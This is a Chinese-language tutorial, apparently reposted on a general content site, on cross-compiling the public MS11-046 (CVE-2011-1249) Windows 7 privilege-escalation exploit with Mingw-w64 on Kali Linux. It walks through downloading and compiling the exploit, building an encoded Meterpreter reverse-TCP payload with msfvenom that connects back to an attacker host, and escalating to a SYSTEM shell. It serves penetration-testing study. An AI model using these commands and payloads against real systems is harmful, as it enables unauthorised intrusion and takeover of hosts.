如何在Kali Linux上编译Windows漏洞!

Mingw-w64是一个用于创建Windows应用程序的自由和开源软件开发环境。 Mingw-w64最初叫Mingw32,它当时不支持64位架构。

在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。

1、在Kali Linux上安装Mingw-w64

默认情况下,Kali Linux 2016.2和更低版本上未安装Mingw-w64。 因此,我们需要先安装它,然后才能在Linux上编译Windows漏洞。 执行以下命令,安装Mingw-w64:

如何在Kali Linux上编译Windows漏洞!

使用apt-get install mingw-w64在您的Kali主机上安装mingw-w64。

键入y为yes,以确认并继续Mingw-w64安装过程。 下载和安装Mingw-w64可能需要一段时间才能完成。

2、无法找到程序包mingw-w64的解决方法

有时,你尝试安装mingw-w64包时得到一个无法找到包mingw-w64的错误,并得到类似如下提示:

要解决这个问题,请确保在sources.list文件中具有正确的存储库。您可以使用nano编辑文件:

/etc/apt/sources.list

确保您在此文件中具有正确的存储库。 您可以在以下页面上找到不同版本的Kali Linux的存储库:

使用sources.list文件中的正确的存储库,您需要运行apt-get update,然后再次运行Mingw-w64软件包的安装命令。

3、用Mingw-w64交叉编译Windows漏洞利用

现在我们已经安装了Mingw-w64,可以开始编译Windows漏洞利用程序了。 对于本教程,我们将编译一个用C编写的Windows漏洞利用程序,以利用Windows 7 SP0 x86中的CVE-2011-1249(MS11-046)漏洞。 此版本的Windows操作系统在辅助功能驱动程序(AFD)中包含一个漏洞,允许已认证的非管理用户提升权限。即使Mingw-w64是为非常需要的64位支持开发的,我们也可以编译32位Windows漏洞。 让我们来看看如何编译32位Windows漏洞。

让我们从Exploit-db下载漏洞:

wget –output-document= 40564.c https://www.exploit-db.com/download/40564

使用以下命令编译Windows 32位的afd.sys exploit:

i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32

以下命令将编译Windows 7 afd.sys特权升级漏洞:

i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32  

如何在Kali Linux上编译Windows漏洞!

编译Windows漏洞。

要将漏洞利用程序转移到目标主机,我们将使用内置的ApacheWeb服务器来提供它。 最后2个命令会将exploit复制到Apache主目录并启动Apache Web服务器。

当我们从cmd.exe下载并执行该漏洞时,它将如下所示: 

如何在Kali Linux上编译Windows漏洞!

漏洞利用成功执行。

因为我们可以看到whoami命令在执行exploit之前返回一个普通用户权限,之后显示是system用户权限。这个exploit实际上在当前shell中生成一个新的shell,而不是在新窗口中创建一个新的shell。这意味着我们也可以从命令行shell运行此漏洞利用程序,例如Meterpreter。让我们看看如何从Meterpreter会话运行漏洞利用。

4、利用编译错误

当编译针对不同架构和操作系统的漏洞时,可能会发生许多错误。有很多因素可能导致编译失败,例如:语法,库,主机和目标体系结构,用于编译代码的已安装软件等等。一些错误可能很容易修复,有些错误则不是。同样重要的是不同的警告来自致命的错误,因为警告可能只是指示一些类似的过时的功能,不能阻止漏洞的工作。致命错误会阻止漏洞利用,因此需要修复。

处理编译错误的最佳方法是仔细阅读,然后在Google上搜索解决方案。通常你不是第一个也不是唯一面对某个编译错误的人,因此没有必要重新发明轮子。在线资源(如堆栈交换)通常为您提供最常见的编译错误的可能解决方案。

5、从Meterpreter shell中利用MS11-046

让我们使用Msfvenom快速生成Windows 32位Meterpreter反向TCP有效负载,并在目标主机上执行它。 我们将在Metasploit中使用多处理程序来捕获反向shell。

使用以下命令使用Msfvenom创建有效负载:

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe

请务必更换侦听主机IP,必要时更换侦听端口。现在启动msfconsole并运行以下命令来设置多处理器漏洞:

如何在Kali Linux上编译Windows漏洞!

在端口4444上启动反向TCP处理程序。

然后下载利用程序到目标主机并执行它。 如果一切设置正确,您应该在msfconsole上收到一个反向Meterpreter shell: 

如何在Kali Linux上编译Windows漏洞!

目标主机连接回Kali。

在Meterpreter命令行上运行下一“shell”命令并运行特权升级漏洞利用程序将shell升级到系统shell: 

如何在Kali Linux上编译Windows漏洞!

特权升级攻击通过我们的Meterpreter会话成功执行。

正如你可以看到的,shell从特权测试用户shell变化到系统shell。 请注意,在执行它的shell中生成一个新的系统shell。 因此,我们不能看到利用输出,因为它是在有限的特权的旧shell。

您可以通过键入Exit来验证这一点,将退出系统shell并返回到仍包含Windows 7权限升级exploit输出的用户shell: 

如何在Kali Linux上编译Windows漏洞!

特权用户shell上的exploit输出。

学到的东西

(责任编辑:admin)

免责声明:文章内容来自互联网,本站仅作为分享,不对其真实性负责,如有侵权等情况,请与本站联系删除。
转载请注明出处:如何在Kali Linux上编译Windows漏洞! https://www.dachanpin.com/a/cyfx/27539.html

(0)
崩坏3新角色八重樱技能怎么样 八重樱武器选择推荐
上一篇 2023-05-25 05:19:54
LOL训练模式在哪?如何充分利用LOL练习模式提升战斗水平?
下一篇 2023-05-25 05:30:31

相关推荐

  • 有声资讯APP“听闻”完成1000万元Pre

    有声资讯APP“听闻”创始人陈奕贤透露,目前已经完成1000万元Pre-A轮融资。领投方是梅花创投吴世春,此次融资之后将用于资金主要是对于听闻APP的投资,在内容上增加优质的主播,增加内容的量级。 创始人陈奕贤向亿欧网介绍称,有声资讯APP“听闻”隶属于厦门泡果网络有限公司。泡果网络成立于2012年,致力于成为最大的垂直行业新媒体,微博、微信大号几十个,拥有…

    创业分享 2023-06-04
    218
  • 最好的创业时代,《创业中国人》搭建硬核创业“联盟”

      《创业中国人》邀请著名主持人林海担任节目主持人,经过多年沉淀下的温和、知性,让林海更能关注到创业人的诉求与梦想情怀,令人如沐春风的主持风格深度契合着节目人文关怀下的温度。   作为一档全新的创投类节目,《创业中国人》在节目形式和嘉宾构成上另辟蹊径,全方位呈现创业家的创业故事和品牌,将创业变成一件有参考、可参与的事情。第一轮“一鸣惊人”,创业家进行自我展示…

    2023-05-13
    162
  • 达沃斯上热议创业人和投资者关系:“太多钱是有毒的”

      Catherine Wood:我先来说吧,在美国、在全世界大家看到资本的流向、风险投资等等他们都在转方向,在很多金融机构的投资进入到阿尔发这一轮的投资,还有许多公营部门、政府部门看到在这个过程当中效率不是特别高,因为在私营部门没有对公营部门有更多的分析,因为在公营部门很多都是各自为政的。   Yossi Vardi:比如说有三个人在硅谷他们进行创业,他们…

    创业分享 2023-05-31
    143
  • 想创业或想把现有生意做得更好 去抚顺县电子商务创业孵化基地看看呗

    那里免费提供培训 免费为创业者提供办公区还帮申请创业贷款   电子商务创业孵化基地为创业者们创新业、创大业提供机会   6月13日,在抚顺县石文镇,我市第一个电子商务创业孵化基地经过近3个月的紧张筹备,正式启动,同时正式运营电商培训、农产品线上交易等多项业务。   抚顺县电子商务创业孵化基地项目总投资1500万,建筑面积1000平方米,由抚顺市创赢电子商务有…

    创业分享 2023-05-31
    187
  • 对于创业新手而言 还是投资一个干洗加盟店最好

    所以,根据很多很多成功经营干洗加盟店的人的经验总结出:对于没有经验的创业新手而言,投资一个干洗加盟店不仅能享受总部提供的免费技术培训服务还能得到总部经营经验指导,可以最大程度的降低我们的风险性。 经营经验指导能够帮助创业者在干洗店经营过程中规避风险,因地、因时制宜,制作各种经营促销方案。干洗店加盟总部的干洗店经营经验必须是来自于数10家直营店的日常经营,这样…

    创业分享 2023-05-30
    166

发表回复

登录后才能评论

联系我们

在线咨询: QQ交谈

邮件:362039258@qq.com

工作时间:周一至周五,9:30-16:30,节假日休息